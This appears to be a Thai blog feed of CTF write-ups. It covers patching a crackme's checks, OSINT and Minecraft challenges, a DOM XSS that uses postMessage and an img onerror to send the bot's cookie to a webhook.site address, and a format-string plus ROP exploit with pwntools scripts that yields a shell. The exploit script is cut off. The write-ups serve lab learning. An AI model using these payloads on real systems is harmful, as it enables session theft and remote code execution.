เราจะได้ flag ต่อเมื่อเรากรอกคีย์ถูก format ต้องตรง

เริ่มจากลากไฟล์เข้า x32dbg

เราจะไล่การทำงานตั้งแต่ตอนที่เราเริ่มกรอกคีย์ เพราะฉะนั้นต้องหา address ของมันก่อน โดย rightclick -> Search for -> All Modules -> String references

หาคำว่า “Enter Authorization Code (XXXX-XXXX-XXXX-XXXX):”

double click it

การทำงานมันจะไล่จากบนลงล่าง

ถ้าสังเกตด้านซ้ายมือที่เป็นเส้นๆ (ดูเส้นแดงๆก็ได้) คือจุด jump ที่ address 0x00403D23 จะ jump ไปที่ 0x00403C49 ซึ่งไม่ได้ไป jump ตรง alert ด้านบน งั้นก็มปร.ข้ามเลย

ไล่ลงมาอีกซักหน่อยจะเจอจุดที่ตรวจว่า input ของเราตรง format มั้ย ตรง 0x00403D4B, 0x00403D73, 0x00403D7C

ซึ่งเราไม่ได้ติดอะไร ก็ข้ามไป

ถึง function ที่จะแสดง flag ของเราแล้ว ตั้งแต่ address 0x00403E95 ลงมา

แต่เหมือนจะมีจุด jmp ที่จะทำให้เราไม่เข้าถึง function นี้ได้

จุดแรกมันจะ jump มาที่ 0x00403F63 ซึ่งมันจะ print” [!] ACCESS DENIED — Invalid authorization code” ตามด้วย “ [!] Incident reported to Central Command”

มันคือจุดที่จะเช็คคีย์ของเรา ซึ่งเราไม่ต้องการ

เราต้องแก้ assembly จุดนั้น click & spacebar

change ‘jnz’ to ‘jz’

jnz — jump if not zero

jz — jump if zero

เราจะทำให้มันตรงข้ามกัน จากผิดให้เป็นถูก

จุดที่ 2 0x00403E93 มันจะ jmp เราไปด้านบน ถ้าเงื่อนไขไม่เป็นจริงเราอาจติด loop อยู่ตรงนี้และไม่ได้ flag

ฉะนั้นก็แก้มันซะเลย จาก jnz -> jz เหมือนเดิม

มา patch กันเลย กดปุ่มพลาสเตอร์หรือ ctrl+p ก็ได้

เราได้แก้ทั้งหมด 2 จุด กด “Patch File” ที่มุมขวาล่างได้เลย

ผมจะเซฟชื่อว่า ba แล้วลองรันดู (กรอกให้ตรง format ด้วยหล่ะ)

ต่อไปหมวด OSINT

OSINT | category

TheSecretOfTaoBin

เข้าไปดูที่ highlight 2B-Kmuttt ซักอัน

เครื่องปริ้นยุแถวลาดกระบัง ก็เสิชเลยดิค้าบ

unknow washing machine

ละมือไว

glasses

สังเกตจากชื่อ highlight ที่ชื่อ 2B-Kmutt ลอง search ใน ig ดูหน่อย

เราจะเห็นคนที่โปรไฟล์หน้าเหมือนคนใส่แว่น นั่นแหละไปก๊อปชื่อเลยย

4.Apocalypse

Hidden Website

จัดไป google dorking

GeoOsint

คล้ายกับเกม geoguessr

Origin Plug & Play Ramkhamhaeng Triple Station ออริจิ้น ปลั๊ก & เพลย์ รามคำแหง ทริปเปิ้ล สเตชั่น
Star Vegas Resort & Club located in Poipet, Cambodia.
โรงแรมสยามเซ็นเตอร์ (Siam Center Hotel) ตั้งอยู่ใจกลางอำเภอหาดใหญ่ จังหวัดสงขลา

WANLAI{59e49b502d794df4ab7babb324a1ee0b}

ต่อไปหมวด Crypto

CRYPTO | Category

Secret Melody

ถอดในเว็บนี้ https://www.dcode.fr/music-sheet-cipher

จะได้ข้อความว่า AMONGUS

ต่อไปหมวด MISC กัน

MISC | category

WANLAI Craft I

ถ้าเรื่องหาเพรชให้เรียกพี่

WANLAI Craft II

เริ่มลำบากเลยหันมาใช้ X-Ray แทน

WANLAI Craft III

ขอนี้ยากหน่อยเพราะต้องหาสถานที่ให้เจอ เสียเวลาเยอะมากจนได้ไปเจอ mod free cam

ข้อนี้ก็เสร็จไป ไม่ได้แคป flag นะ 55555

WANLAI Craft IV

เป็นด่านที่ต้องปากัวไป คล้ายกับ roblox แมพ tower of hell ด้วยความ skill issue เลยใช้ https://meteorclient.com/ โดยได้คำแนะนำจาก Mr.

KaoKys

คราวนี้ก็บินไปเอา flag เลยย

Sanity Check

Master Excel

binwalk ละเจอไฟล์ จากนั้นก็ extract (เติม — extract)

จากนั้นก็สอดส่องหา flag จะเจอที่

master excel\extractions\wanlai_excel.xlsm.extracted\0\xl\sharedStrings

จบแล้ววว เย้

Thank you for reading C Ya!!

SECPlayground Cyber splash 2026

Mon, 27 Apr 2026 00:00:00 GMT

SECPlayground Cyber splash 2026

printf(“hello!!”) สวัสดีครับผม Sho นี่เป็น event แรกที่ผมได้เล่น ctf ของ secplayground ซึ่งครั้งนี้เป็นธีมสงกรานต์ 🔫💦💦

โดยโจทย์ที่ผมจะนำมาแสดงวิธีทำ มีทั้งหมด 4 โจทย์ด้วยกัน อาจน้อยหน่อยนะครับ ปล.ทีมผมตื่นแต่เช้า ทำโจทย์ไปเกือบหมดเลย555555 (ทีมงานคุณภาพ)

Spectrogram Secret 🟡 Miscellaneous
Songkran register 🟢 Application Security
vlogstar 🟡 Application Security
Fortress Leak 🟡 Pwnable

(spoil: ข้อที่ 4 ผมตั้งใจเขียนมากกกก!! อ่านให้ถึงล่ะ555555)

เริ่มกันกับข้อง่ายๆ

1. Spectrogram Secret

แตกไฟล์ เราจะได้ transmission.wav จากนั้นเอาเข้า Audacity

ดูจากชื่อโจทย์ชื่อว่า “Spectrogram” เลยสันนิษฐานว่าต้องเปิดโหมด spectrogram รึเปล่า เลยลองดู

เหมือนจะเจออะไรบางอย่างคล้ายๆ flag ลางๆ ลองปรับอะไรซักหน่อย

ตอนแรกก็มองไม่ชัดมาก แต่ก็ปรับหลายๆแบบ + เดาอักษรจนได้ Flag ในที่สุด

🎉🎉 misc{7N3_h1dd73_m3ssAg3_s3ssl0n}

2. Songkran register

เปิดเว็บมาก็ register กันก่อนเลย

เราสามารถ View Profile ใครก็ได้ แต่มีคนคนนึงที่เราไม่สามารถ view ได้ ก็คือนาย Somchai Jaidee

จากนั้นเข้าไปดู view-source แล้วเจอ api จะๆ สำหรับดูข้อมูล

เลยเปิดไปที่ http://34.21.136.202:5000/api/participant/1/qr-badge

เราก็จะเจอ Flag ใน “staff_notes”

🎉🎉 web{iDaxFwXhaV}

3. vlogstar

รู้สึกเหมือนว่าข้อนี้จะเป็นข้อที่คนทำได้น้อยสุดในหมวดเว็บด้วยนะ (แอบภูมิใจ5555)

แตกไฟล์ก็จะได้ bot.js server.js และ folder “public”

ใน folder public ก็จะมีไฟล์นิดๆ

ก่อนจะดู source-code เรามาดูเว็บกันก่อน

โดยเว็บจะอนุญาตให้เราใส่ url website ลงไป แล้วบอทจะไปเปิด url ที่เราส่งไป

หวานเจี๊ยบ สันนิษฐานว่าเราอาจจะโจมตีผ่านช่อง input นี้

เราไปดู source-code กันบ้างดีกว่า จากการทำงานของ bot.js เวลาเปิด url ของเรามันก็จะสร้าง cookie ที่มี value เป็น flag ในเว็บของ labs (ก็คือ CHALLENGE_HOST นั่นเอง (localhost:3000) )

(httpOnly เป็น flase ก็หวานเจี๊ยบ เพราะมันหมายความว่า เราสามารถใช้ js อ่าน cookie ได้)

อีกอย่าง เว็บไซต์เป้าหมายเปิดรับ request จาก postMessage อีกด้วย (app.js) ถ้า content ของ request ผ่านการกรองอะไรหมดแล้วนั้น ก็จะถูกยัดเข้า OVERLAY_CONTAINER.innerHTML นั่นหมายความว่าเราสามารถยัด js เพื่อขโมยคุกกี้ได้ (DOM XSS)

โดยข้อจำกัดที่เราต้องดูคือ

Html allowed tags

sanitize overlay html

data-type

สิ่งที่เราจะทำคือสร้างเว็บไซต์สำหรับขโมยคุกกี้ โดย web host ที่จะให้เว็บเรา online สามารถใช้ได้ทั้ง github หรือ vercel ได้เลย

การทำงานของเว็บที่จะไปขโมยคุกกี้ ที่เราต้องสร้างคือ

เปิดแท็บใหม่ (ไม่ใช่ navigate เพราะถ้าเว็บเราถูกปิด JS payload ของเราจะไม่ทำงาน)
ส่ง payload ผ่าน postMessage ไปที่ localhost:3000 เพื่อขโมยคุกกี้
ให้ payload ส่งคุกกี้กลับมาหาเราผ่าน webhook (webhook.site)

และนี่คือเว็บที่มี payload ของเราไว้ด้วย เปิดปุ๊บคุกกี้ส่งปั๊บ5555

<!DOCTYPE html>
<html>
<head><title>RachaHacker</title></head>
<body>
    <h1>RachaHacker</h1>
    <script>
        const targetUrl = "http://localhost:3000/video.html?v=2";
        const webhook = "https://webhook.site/54aa2054-094c-4d05-a576-7f7da33d4a78";
        const target = window.open(targetUrl, 'exploit');
        function sendPayload() {
            const payload = {
                type: 'overlay-update',
                content: `<img/src="x"/onerror="fetch('${webhook}?c='+encodeURIComponent(document.cookie)+'&info=pwned')">`
            };
            // ไอ่ info=pwned เอาไว้กันเหนี่ยวเผื่อมันส่งมาแต่คุกกี้ไม่มาด้วย5555 จะได้คาดเดาปัญหาได้ง่ายขึ้น
            target.postMessage(JSON.stringify(payload), '*');
        }
        setTimeout(sendPayload, 2000);
        setTimeout(sendPayload, 4000);
        fetch(webhook + "?status=rachahacker"); // ให้มันส่งมาแจ้งเตือนเฉยๆว่าบอทมัน visit แล้ว
    </script>
</body>
</html>

payload -> bot -> (check-type) -> (content sanitizer) -> (ยัด Html เข้า DOM)

พร้อมแล้วก็ส่ง url ไปเลย และก้ jackpotttt!!!🎰🎰🎰🕺

🎉🎉 web{8rW07sakwm} 🎰🎰🎰🕺

4. Fortress Leak

สารจากฉัน: “ข้อนี้ผมไม่ได้แคปรูประหว่างทำ (หลังจากส่ง flag ตัว lab ก็จะ terminate อัตโนมัติ ทำให้กลับไปทำอีกรอบไม่ได้) writeup ข้อนี้เลยจะเป็นการเล่นกับเครื่องตัวเองเป็นหลักนะคับ

โหลดไฟล์ก่อนเลย ใน file zip ก็จะมี folder ชื่อ dist cd เข้ามาก็จะมี 4 ไฟล์

เราลองมาเล่นโปรแกรมกันก่อนละกัน

ก็เป็นโปรแกรม เก็บ/ส่งข้อความ และสามารถ preview ข้อความที่เก็บได้

ลองไปหาช่องโหว่ใน vuln.c กันบ้างดีกว่า

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void setup(void) {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}
// Helper for ROP gadgets (gcc 11+ doesn't generate __libc_csu_init)
void __attribute__((used)) gadgets(void) {
    __asm__ volatile (
        "pop %rdi; ret\n"
    );
}
void menu(void) {
    puts("\n[1] Store message");
    puts("[2] Preview message");
    puts("[3] Send message");
    puts("[4] Exit");
    printf("> ");
}
void vault(void) {
    char msg[128];
    int choice;
    puts("\n=== Secure Message Vault ===");
    while (1) {
        menu();
        if (scanf("%d", &choice) != 1) {
            while (getchar() != '\n');
            continue;
        }
        getchar();
        switch (choice) {
            case 1: {
                // Store message — safe read
                printf("Enter message: ");
                memset(msg, 0, sizeof(msg));
                read(0, msg, 127);
                puts("[+] Message stored.");
                break;
            }
            case 2: {
                // Preview message — FORMAT STRING vulnerability
                // Bug: uses printf(msg) instead of printf("%s", msg)
                // Player can use %p to leak canary, PIE addresses, libc addresses
                if (msg[0] == '\0') {
                    puts("[-] No message stored.");
                    break;
                }
                puts("[*] Preview:");
                printf(msg);
                puts("");
                break;
            }
            case 3: {
                // Send message — BUFFER OVERFLOW
                // Reads up to 512 bytes into 128-byte buffer
                puts("[*] Preparing to send...");
                printf("Enter final message: ");
                read(0, msg, 512);
                puts("[+] Message sent!");
                return;
            }
            case 4:
                puts("[*] Goodbye.");
                exit(0);
            default:
                puts("[-] Invalid option.");
                break;
        }
    }
}
int main(void) {
    setup();
    puts("========================================");
    puts("   FORTRESS LEAK v4.0                   ");
    puts("   Hardened Message Vault                ");
    puts("========================================");
    vault();
    return 0;
}

จุดที่ 1 Format String Vulnerability

case 2: {
                // Preview message — FORMAT STRING vulnerability
                // Bug: uses printf(msg) instead of printf("%s", msg)
                // Player can use %p to leak canary, PIE addresses, libc addresses
                if (msg[0] == '\0') {
                    puts("[-] No message stored.");
                    break;
                }
                puts("[*] Preview:");
                printf(msg); // <--- จุดนี้
                puts("");
                break;

เราสามารถใส่ %p %p %p %p ขณะ Store Message แล้ว preview ออกมาเพื่อดูค่า leak ใน stack ,register, cannary, function (address) หรือข้อมูลสำคัญอื่นๆได้

จุดที่ 2 Buffer Overflow

case 3: {
                // Send message — BUFFER OVERFLOW
                // Reads up to 512 bytes into 128-byte buffer
                puts("[*] Preparing to send...");
                printf("Enter final message: ");
                read(0, msg, 512); // <--- จุดนี้
                puts("[+] Message sent!");
                return;
            }

msg ได้จองพื้นที่บน stack 128 bytes แต่ใน case 3 บอกว่ารับได้ 512 bytes ซึ่งเกินมา 384 bytes

ลอง checksec ดูว่ามี protection อะไรบ้าง

ปัญหายังมีเรื่อง Canary, PIE, ASLR + NX แต่ก็แก้ได้เพราะมี format string vulnerability

objective:

ขณะที่ยัด payload เราต้องกะ canary ให้พอดี ถ้าขาดหรือเกิน 1 byte โปรแกรมก็จะ crash

จะโจมตีแบบ ROP Chain โดยจะใส่ address ของ /bin/sh ลงไปใน register rdi (pop rdi;) จากนั้นก็ดึงค่าถัดไปจาก stack มาใส่ใน rip เพื่อให้ cpu ก็กระโดดไปทำงานที่ address นั้นต่อ (ret)

แล้วเราก็จะได้ shell 😈

ก่อนที่เราจะสร้าง payload เราต้องเข้าใจ stack กันก่อน

นี่ไงๆ ผมทำสวยมั้ยย 😎

หลักการก็คล้ายๆกับ buffer overflow เลย จัด payload ให้พร้อมแล้วส่ง จากนั้น payload ก็ไปทับส่วนต่างๆในโปรแกรม

แต่แค่แตกต่างจาก bof ปกติตรงที่ว่า มันยากกว่าเดิมมาก5555

เรามาเริ่มต้นด้วยการหาตำแหน่ง offset ของ canary, PIE, libc กันก่อนดีกว่า โดยใช้ช่องโหว่ format string vul

อันดับแรกเราจะใช้ option 1 (Store message) จากนั้นพิมพ์ไปว่า:

%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p

แล้วก็ option 2 (Preview message) & enter เราก็จะได้ leak address ต่างๆมา

[*] Preview:
0x7814f8a04643.(nil).0x7814f891c5a4.0xc.(ncil).0xa.0x2f8a045c0.0x2432252e70243125

Question: แล้วเราจะรู้ได้ยังไงว่า address ที่ได้มาคือ canary, PIE หรือ libc

Answer: ดูจากจุดสังเกต ตามด้านล่างเลย

canary → ลงท้ายด้วย 00 เช่น 0x40db855482f1fa00
PIE → ขึ้นต้นด้วย 0x55 หรือ 0x56
libc → ขึ้นต้นด้วย 0x7f

สุมุติเราส่ง %8$p แล้วได้ “0x2432252e70243125” มา สิ่งนี้จะเรียกว่า address และ “%8$p” (ตำแหน่ง 8) จะเรียกว่า offset

หากเราลองเอา 0x2432252e70243125 ไปแปลงเป็น ASCII เราจะได้ “$2%.p$1%” ซึ่งมันคือเงาสะท้อน (Endianness) ของ input ที่เราส่งไป (%1$p.%2$p) มันเป็นหลักฐานว่า input ของเราได้ลงไปนอนใน stack เรียบร้อย โดยอยู่ที่ตำแหน่ง (offset) ที่ 8

โอเครร เรามาหา offset กันต่อดีกว่า แต่ปัญหาก็คือเราต้องพิมพ์ตัวเลขทีละอันใน input แล้วก็ preview เรื่อยๆคงลำบาก เราเลยจะใช้ script เพื่อหา offset กัน

script:

from pwn import *
context.arch = 'amd64'
context.log_level = 'error' 
def try_offset(n):
    p = process('./vuln')
    
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'Enter message: ', f'%{n}$p'.encode())
    
    # preview
    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'[*] Preview:\n')
    leak = p.recvline().strip().decode()
    
    p.close()
    return leak
print(f"{'Offset':<8} {'Value':<20} {'Note'}")
print('-' * 50)
for i in range(1, 40):
    val = try_offset(i)
    note = ''
    
    if val != '(nil)' and val.startswith('0x'):
        v = int(val, 16)
        if v & 0xff == 0 and v > 0x10000000000:
            note = '← CANARY'
        elif 0x7f0000000000 <= v <= 0x7fffffffffff:
            if v > 0x7fff00000000:
                note = '← STACK addr'
            else:
                note = '← LIBC / ld addr'
        elif 0x5500000000 <= v <= 0x56ffffffffff:
            note = '← PIE addr'
    
    print(f'%{i:<7} {val:<20} {note}')

นี่คือ result

Offset   Value                Note
--------------------------------------------------
%1       0x7addb3a04643
%2       (nil)
%3       0x79f27451c5a4
%4       0xc
%5       (nil)
%6       0xa
%7       0x2a6e045c0
%8       0x70243825
%9       (nil)
%10      (nil)
%11      (nil)
%12      (nil)
%13      (nil)
%14      (nil)
%15      (nil)
%16      (nil)
%17      (nil)
%18      (nil)
%19      (nil)
%20      (nil)
%21      (nil)
%22      (nil)
%23      (nil)
%24      0x61bd57518d80
%25      0xa2453e3641d9ab00   ← CANARY
%26      0x7fff2f263060       ← STACK addr
%27      0x5b743d8575b3
%28      0x7fff2d935980       ← STACK addr
%29      0xd04fbb2e09047000   ← CANARY
%30      0x7ffe577a8ab0       ← LIBC / ld addr
%31      0x72594bc2a1ca
%32      0x7ffe8e4ed4b0       ← LIBC / ld addr
%33      0x7ffcfc45f168       ← LIBC / ld addr
%34      0x1719c7040
%35      0x56d6790fd552       ← PIE addr
%36      0x7fff58634918       ← STACK addr
%37      0x4301d2abac17658c
%38      0x1
%39      (nil)

สะดวกขึ้นเย๊อะะะ ถ้าหากเราลองรันหลายๆรอบแล้วดู result แต่ละรอบ จะเห็นได้เลยว่าแต่ละครั้ง ค่า address จะไม่ซ้ำกันเลย (ผลของ ASLR)

จาก result ของเรา เราจะได้ offset คร่าวๆ (ไม่แม่น 100% บางค่าอาจไม่เหมือนตามจุดสังเกต ต้องอาศัยการ verify offset ว่าได้ผลหรือไม่)

# นี่คือ offset ที่ผมทดสอบแล้วได้ผล
CANARY_OFFSET  = 25  
PIE_OFFSET     = 27 
LIBC_OFFSET    = 31

ถ้าจำ objective ของเราได้ เราจะโจมตีแบบ ROP Chain ซึ่งส่วนประกอบของ ROP chain payload ประกอบด้วย :

ret_gadget, # ได้จาก pie_base + RET offset <ret>
pop_rdi, # ได้จาก pie_base  + POP_RDI_RET offset <rop rdi>
binsh_addr, # ได้จาก libc_base + next(libc.search(b"/bin/sh"))
system_addr, # ได้จาก libc_base + libc.symbols["system"]

ส่วนประกอบก็เยอะ เราต้องหาทีละส่วน เริ่มจากหา offset ของ <rop rdi; ret> กันก่อน โดยหา assembly ที่มีคำสั่ง <rop rdi; ret> สามารถใช้ command นี้ได้เลย

ROPgadget --binary ./vuln | grep "pop rdi ; ret"

จะเห็นว่ามันจะอยู่ที่ 0x12d2

🌟 received : <pop rdi> offset

ถ้าเปรียบ <pop rdi;> คือมือที่หยิบ /bin/sh ไปวางบน register rdi, <ret> คงเป็นตัวบอก cpu ว่าต้องไปรันคำสั่งที่ไหนต่อ และเราจะให้มันรัน /bin/sh ของเรา

งั้นมาหา offset ของ <ret> ของเรากันดีกว่า

แต่โชคดี จากที่เราเจอ <rop rdi;> มันมี <ret> ติดข้างหลังมาด้วย ( ; หมายความว่า มันจะทำงานต่อกัน) แสดงว่า address มันอยู่ติดกัน (ROPgadget เห็นว่ามันทำงานต่อกัน เลยแสดง address เพียงอันเดียว) เพื่อ offset ที่ชัดเจนกว่านี้ เราจะเข้า gdb ไปดูโดยอ้างอิงจาก 0x12d2

gdb ./vuln

ใช้คำสั่ง info function เพื่อดู address ของ function

address ของ <pop rdi;> มันอยู่ 0x12d2 เลขที่ใกล้เคียงก็คือ function gadget ที่อยู่ address 0x12b7

(gdb) info function
All defined functions:
Non-debugging symbols:
0x0000000000001000  _init
0x00000000000010c0  __cxa_finalize@plt
0x00000000000010d0  puts@plt
0x00000000000010e0  __stack_chk_fail@plt
0x00000000000010f0  setbuf@plt
0x0000000000001100  printf@plt
0x0000000000001110  memset@plt
0x0000000000001120  read@plt
0x0000000000001130  getchar@plt
0x0000000000001140  __isoc99_scanf@plt
0x0000000000001150  exit@plt
0x0000000000001160  _start
0x0000000000001190  deregister_tm_clones
0x00000000000011c0  register_tm_clones
0x0000000000001200  __do_global_dtors_aux
0x0000000000001240  frame_dummy
0x0000000000001249  setup
0x00000000000012b7  gadgets
0x00000000000012eb  menu
0x000000000000136d  vault
0x0000000000001552  main
0x00000000000015d0  _fini

พิมพ์ว่า disass gadgets เพื่อดู assembly

จะเห็นเลยว่า <ret> อยู่ติดกับ <pop rdi> จริงๆด้วย นั่นคือ 0x12d3

(gdb) disass gadgets
Dump of assembler code for function gadgets:
   0x00000000000012b7 <+0>:     endbr64
   0x00000000000012bb <+4>:     push   %rbp
   0x00000000000012bc <+5>:     mov    %rsp,%rbp
   0x00000000000012bf <+8>:     sub    $0x10,%rsp
   0x00000000000012c3 <+12>:    mov    %fs:0x28,%rax
   0x00000000000012cc <+21>:    mov    %rax,-0x8(%rbp)
   0x00000000000012d0 <+25>:    xor    %eax,%eax
   0x00000000000012d2 <+27>:    pop    %rdi
   0x00000000000012d3 <+28>:    ret
   0x00000000000012d4 <+29>:    nop
   0x00000000000012d5 <+30>:    mov    -0x8(%rbp),%rax
   0x00000000000012d9 <+34>:    sub    %fs:0x28,%rax
   0x00000000000012e2 <+43>:    je     0x12e9 <gadgets+50>
   0x00000000000012e4 <+45>:    call   0x10e0 <__stack_chk_fail@plt>
   0x00000000000012e9 <+50>:    leave
   0x00000000000012ea <+51>:    ret

🌟 received : <ret> offset

ต่อไปเรามาหาค่า PIE base กันดีกว่า (เพราะเราจะ craft ret_gadget & pop_rdi)

โดยได้จาก เอา offset ของ pie (%27$p) นำไป leak address ออกมา แล้วลบด้วย offset ของ call.*vault (ที่เรียก address มาโหลด)

ใช้คำสั่ง

objdump -d ./vuln | grep -A3 "call.*vault"

    15ae:       e8 ba fd ff ff          call   136d <vault>
    15b3:       b8 00 00 00 00          mov    $0x0,%eax
    15b8:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
    15bc:       64 48 2b 14 25 28 00    sub    %fs:0x28,%rdx

เราจะใช้ 0x15b3 เพราะ instrcution ถัดจาก call คือ offset ที่แท้จริง

pie_base = pie_leak — 0x15b3

(pie_leak คือ address ที่ได้จาก %27$p)

🌟 received : pie_base

อีกอันนึงที่สำคัญคือการหาค่า libc base ซึ่งเราก็ต้องหาค่า libc_start_offset กันก่อน

เริ่มจาก ผมจะใช้เครื่องมือ gdb ในการหา address ของ vault function

เราต้องการ offset ของ printf ใน case2 เราก็ไล่หา text ที่มีคำว่า call printf@plt ซึ่งจาก .c printf ที่เราต้องการจะอยู่ลำดับที่ 2 จาก function vault

0x00005555555554a7 <+314>: call 0x555555555100 printf@plt

และ offset ของมันคือ 314

จากนั้นสร้าง breakpoint (still in gdb na)

(gdb) break *vault+314

(gdb) run
Starting program: /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
========================================
   FORTRESS LEAK v4.0
   Hardened Message Vault
========================================
=== Secure Message Vault ===
[1] Store message
[2] Preview message
[3] Send message
[4] Exit
> 1
Enter message: AAAA
[+] Message stored.
[1] Store message
[2] Preview message
[3] Send message
[4] Exit
> 2
[*] Preview:
Breakpoint 1, 0x00005555555554a7 in vault ()

(gdb) x/gx $rsp + (31-6)*8
0x7fffffffdc78: 0x00007ffff7c2a1ca

(gdb) info symbol 0x00007ffff7c2a1ca
__libc_start_call_main + 122 in section .text of /lib/x86_64-linux-gnu/libc.so.6
(gdb) info proc mappings
process 16132
Mapped address spaces:
          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x555555554000     0x555555555000     0x1000        0x0  r--p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555555000     0x555555556000     0x1000     0x1000  r-xp   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555556000     0x555555557000     0x1000     0x2000  r--p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555557000     0x555555558000     0x1000     0x2000  r--p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555558000     0x555555559000     0x1000     0x3000  rw-p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x7ffff7c00000     0x7ffff7c28000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7c28000     0x7ffff7db0000   0x188000    0x28000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7db0000     0x7ffff7dff000    0x4f000   0x1b0000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7dff000     0x7ffff7e03000     0x4000   0x1fe000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e03000     0x7ffff7e05000     0x2000   0x202000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e05000     0x7ffff7e12000     0xd000        0x0  rw-p
      0x7ffff7fb1000     0x7ffff7fb4000     0x3000        0x0  rw-p
      0x7ffff7fbd000     0x7ffff7fbf000     0x2000        0x0  rw-p
      0x7ffff7fbf000     0x7ffff7fc3000     0x4000        0x0  r--p   [vvar]
      0x7ffff7fc3000     0x7ffff7fc5000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7fc5000     0x7ffff7fc6000     0x1000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fc6000     0x7ffff7ff1000    0x2b000     0x1000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ff1000     0x7ffff7ffb000     0xa000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
--Type <RET> for more, q to quit, c to continue without paging--ๆ
      0x7ffff7ffb000     0x7ffff7ffd000     0x2000    0x36000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x38000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]

start address objfile ของ libc.so.6 คือ 0x7ffff7c00000

จากนั้นเราจะเอา 0x7ffff7c2a1ca ลบกับ 0x7ffff7c00000

python3 -c "print(hex(0x7ffff7c2a1ca - 0x7ffff7c00000))"
# จะได้ 0x2a1ca

Finally we got libc_start_offset = 0x2a1ca

และ libc base = libc leak address — libc_start_offset

🌟 received : libc_base

แต่เราก็มีสิ่งสำคัญอย่างนึง คือตำแหน่งของ /bin/sh และ system() ซึ่งเราจะหาจาก ./libc.so.6 ในเมื่อเรามี libc_base การหาของพวกนี้ก็ง่ายขึ้นเท่าตัว

สามารถใช้ pwntool (python library) หาเองได้ หรือเราจะหาเองก็ได้เช่นกัน

วิธีหาของ /bin/sh ใช้คำสั่ง

strings -tx ./libc.so.6 | grep "/bin/sh"

result:

kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ strings -tx ./libc.so.6 | grep "/bin/sh"
 1cb42f /bin/sh

binsh = libc_base + 0x1cb42f

🌟 received : binsh offset

วิธีหาของ system ใช้คำสั่ง

readelf -s ./libc.so.6 | grep " system"

result:

kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ readelf -s ./libc.so.6 | grep " system"
  1050: 0000000000058750    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5

system = libc_base + 0x58750

🌟 received : system offset

ถ้าเป็น python code ก็จะประมาณนี้ ง่ายกว่าเย๊อะะ

system_addr  = libc_base + libc.symbols["system"]
binsh_addr   = libc_base + next(libc.search(b"/bin/sh"))

เรามาสรุปวัตถุดิบของเรากันดีกว่า

POP_RDI_RET = 0x12d2 
RET         = 0x12d3 
 
CANARY_OFFSET  = 25  
PIE_OFFSET     = 27   
LIBC_OFFSET    = 31  
pie_base  = pie_leak - 0x15b3 
libc_start_offset = 0x2a1ca 
libc_base = lib_leak - libc_start_offset
system_addr  = libc_base + 0x58750
binsh_addr   = libc_base + 0x1cb42f

สิ่งที่ต้องระวังคือ ระยะห่าง bytes โดยเราจะคำนวณจากระยะของ offset

msg[0]  → canary     = 0x90 - 0x08 = 0x88 = 136 bytes
msg[0]  → saved rbp  = 0x90 + 0x00 = 0x90 = 144 bytes
msg[0]  → ret addr   = 0x90 + 0x08 = 0x98 = 152 bytes

ไม่รวม choice (int) 4 bytes นะครับ

และหน้าตา payload ของเราคร่าวๆจะได้ประมาณนี้

# padding
payload  = b"A" * 0x88        # 136 bytes
# canary
payload += p64(canary)         # 8 bytes  = canary ที่ leak มา
# fake rbp  
payload += b"B" * 8            # 8 bytes  = fake saved rbp
# จุด ROP chain ของเรา
payload += p64(ret_gadget)     # 8 bytes  = stack alignment
payload += p64(pop_rdi)        # 8 bytes  = gadget
payload += p64(binsh_addr)     # 8 bytes  = "/bin/sh"
payload += p64(system_addr)    # 8 bytes  = system()

ตอนนี้เราก็พร้อม exploit กันแล้ว!!

ผมจะทิ้ง script สำหรับ exploit ให้

from pwn import *
BINARY = "./vuln"
LIBC   = "./libc.so.6"
p = process(BINARY)
elf = ELF(BINARY, checksec=False)
context.arch = 'amd64'
try:
    libc = ELF(LIBC, checksec=False)
except:
    libc = None
    warn("libc.so.6 not found — ต้อง set libc offset เอง")
 
POP_RDI_RET = 0x12d2 
RET         = 0x12d3 
 
CANARY_OFFSET  = 25  
PIE_OFFSET     = 27   
LIBC_OFFSET    = 31   
def do_leak():
    fmt = f"%{CANARY_OFFSET}$p|%{PIE_OFFSET}$p|%{LIBC_OFFSET}$p"
    p.sendlineafter(b"> ", str(1).encode())
    p.sendafter(b"Enter message: ", fmt.encode())
    p.sendlineafter(b"> ", str(2).encode())
    p.recvuntil(b"[*] Preview:\n")
    
    raw = p.recvline().decode().strip()
    parts = raw.split("|")
